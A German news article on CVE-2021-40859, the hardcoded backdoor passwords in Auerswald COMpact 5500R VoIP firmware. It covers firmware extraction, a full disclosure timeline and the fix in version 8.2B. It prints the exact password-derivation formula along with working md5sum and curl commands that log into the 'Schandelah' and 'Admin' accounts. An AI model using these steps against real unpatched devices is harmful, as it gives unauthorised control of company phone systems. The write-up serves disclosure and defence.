Auerswald COMpact-5500R PBX VoIP Server
Auerswald COMpact-5500R PBX VoIP Server
Bildquelle: Auerswald

Auerswald VoIP: Hersteller-Backdoor in Firmware entdeckt

In der Firmware des Auerswald COMpact 5500R VoIP-Server mit der Firmware 7.8A und 8.0B wurden zwei Backdoorpasswörter gefunden.

Während eines Penetrationstests wurden in der Firmware des COMpact 5500R PBX mit der Firmware 7.8A und 8.0B zwei Backdoorpasswörter gefunden. Das Problem wurde unter der CVE CVE-2021-40859 registriert und anschließend vom Hersteller Auerswald mit einer neuen Firmware 8.2B behoben.

Auerswald VoIP COMpact 5500R

Beim Auerswald VoIP COMpact 5500R handelt es sich um eine VoIP-Appliance, also vereinfacht gesagt um einen Server zur Verwaltung und Steuerung von VoIP-Telefonen. Würde ein Angreifer Zugriff auf diesen Server erlangen, könnte er problemlos die Telefonleitungen des Unternehmens für eigene Zwecke, wie zum Beispiel Phishing verwenden. Auch könnte er damit massenhaft kostenpflichtige Rufnummern wählen. Kurz: Ein Zugriff auf ein solches VoIP-System ist sehr kritisch!

Erste Schritte: Firmware des COMpact 5500R zerlegen

Die Firmware des COMpact 5500R lässt sich direkt von der Herstellerwebseite herunterladen. Dies erspart das Extrahieren der Firmware vom Gerät selbst.

Die Firmware ist als gz-Datei gepackt. Entpackt man dieses Archiv, erhält man ein U-Boot uImage. U-Boot ist ein spezieller Bootloader für eingebettete Systeme. Das uImage erhält außerdem die eigentliche Firmware. Die einzelnen Partitionen der Firmware lassen sich mit dem Linux-Tool dumpimage über den Parameter „-l“ auflisten.

$ dumpimage -l 7_8A_002_COMpact5500.rom
Image Name:
CP5500 125850
Created:
Wed Sep 23 17:04:38 2020
Image Type:
ARM Linux Multi-File Image (uncompressed)
Data Size:
196976634 Bytes = 192359.99 KiB = 187.85 MiB
Load Address: 00000000
Entry Point: 00000000
Contents:
Image 0: 512 Bytes = 0.50 KiB = 0.00 MiB
Image 1: 196976110 Bytes = 192359.48 KiB = 187.85 MiB

Beispiel aus Firmwareanalyse von RedTeam

Daraus wird ersichtlich, dass es sich um zwei Teilimages handelt. Mit dumpimage lässt sich über den Parameter „-p 1 COMpact5500.rootfs“ anschließend das Dateisystem der Firmware heraustrennen. Mit dem Tool file lässt sich als Nächstes feststellen, um was für ein Dateisystem es sich handelt (ext2) und per mount lässt sich dieses dann anschließend auch einbinden.

$ file COMpact5500.rootfs

COMpact5500.rootfs: Linux rev 1.0 ext2 filesystem data, UUID=c3604712-a2ca-412f-81ca-
f302d7f20ef1, volume name „7.8A_002_125850.“

$ sudo mount -o loop,ro COMpact550.rootfs /mnt

Die Firmware des VoIP-Servers ist nun ein offenes Buch

Jetzt lässt sich das Dateisystem nach Belieben untersuchen. Beispielsweise verwendet die Auerswald VoIP COMpact 5500R als Webserver lighttpd. Die Konfigurationsdateien finden sich unter /opt/auerswald/lighttpd. Viele Anfragen des Webservers werden per FastCGI an ein Programm unter /opt/auerswald/web/webserver weitergeleitet. Dieses kann zum Beispiel mit Ghidra, einem Reverse Engineering Tool, analysiert werden.

Die Analyse von RedTeam ergab dabei, dass die Firmware einen versteckten Benutzer namens „Schandelah“ enthält. Sein Passwort ist fest einprogrammiert und wird aus der Seriennummer des Geräts, dem String „r2d2“ und dem aktuellen Datum generiert. Anschließend hasht man das Kennwort noch per MD5 und verwendet nur die ersten 7 Zeichen des Hashs.

$ echo -n 1234123412r2d230.08.2021 | md5sum | egrep -o ‚^.{7}‘
1432d89

Dieses Kennwort kann anschließend verwendet werden, um sich im Webinterface des PBX-Servers COMpact 5500R anzumelden.

$ curl –include –user ‚Schandelah:1432d89‘ –anyauth
https://192.168.1.2/tree

HTTP/1.1 302 Found
Location: /statics/html/page_servicetools.html
Set-Cookie: AUERSessionID1234123412=AXCTMGGCCUAGBSE; HttpOnly; Path=/
[…]

$ curl –cookie ‚AUERSessionID1234123412=AXCTMGGCCUAGBSE‘ –include
https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: application/json; charset=utf-8;
[…]

{„logstatus“:“Haendler“}

Eine weitere Backdoor im COMpact 5500R betrifft den User „Admin“. Neben dem eigentlich gesetzten Kennwort kann auch hier ein weiteres, für einen Angreifer ableitbares Kennwort, generiert werden. Dieses besteht aus der Seriennummer des Geräts, dem String „r2d2“, dem aktuellen Datum und der eingestellten Sprache. Anschließend hasht man das Kennwort noch per MD5 und verwendet nur die ersten sieben Zeichen des Hashs.

$ echo -n 1234123412r2d230.08.2021DE | md5sum | egrep -o ‚^.{7}‘
92fcdd9

$ curl –user ‚Admin:92fcdd9‘ –anyauth –include
https://192.168.1.2/tree

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID1234123412=MLJHCDLPMXPNKWY; HttpOnly; Path=/
[…]

[{„login“:3,“userId“:0,“userName“:““,[…]}]

$ curl –cookie ‚AUERSessionID1234123412=MLJHCDLPMXPNKWY‘ –include
https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[…]

{„logstatus“:“Administrator“}

Schutz vor der Backdoor in der Auerswald VoIP Lösung

Um sich vor einem Angriff zu schützen, muss das Webinterface gänzlich deaktiviert werden oder eine Firmware in Version >=8.2B auf dem COMpact 5500R installiert werden.

Timeline über den Vorfall

  • 2021-08-26 Sicherheitslücke identifiziert
  • 2021-09-01 Kunde genehmigt Offenlegung an Hersteller Auerswald.
  • 2021-09-10 Hersteller benachrichtigt
  • 2021-09-10 CVE-ID angefordert
  • 2021-09-10 CVE-ID zugewiesen
  • 2021-10-05 Hersteller gewährt Zugang zu Gerät mit korrigierter Firmware
  • 2021-10-11 Hersteller stellt korrigierte Firmware zur Verfügung
  • 2021-10-15 RedTeam Pentesting prüft Gerät, Schwachstelle scheint behoben zu sein
  • 2021-12-06 Bericht veröffentlicht

Über

honeybee schreibt seit Ende 2020 für die Tarnkappe. Der Einstieg war ein Reverse Engineering Artikel über die Toniebox. Die Biene liebt es, Technik aller Art in ihre Bestandteile zu zerlegen. Schraubendreher und Lötkolben liegen immer in Reichweite. Themen wie Softwareentwicklung, Reverse Engineering, IT-Security und Hacking sind heiß geliebt.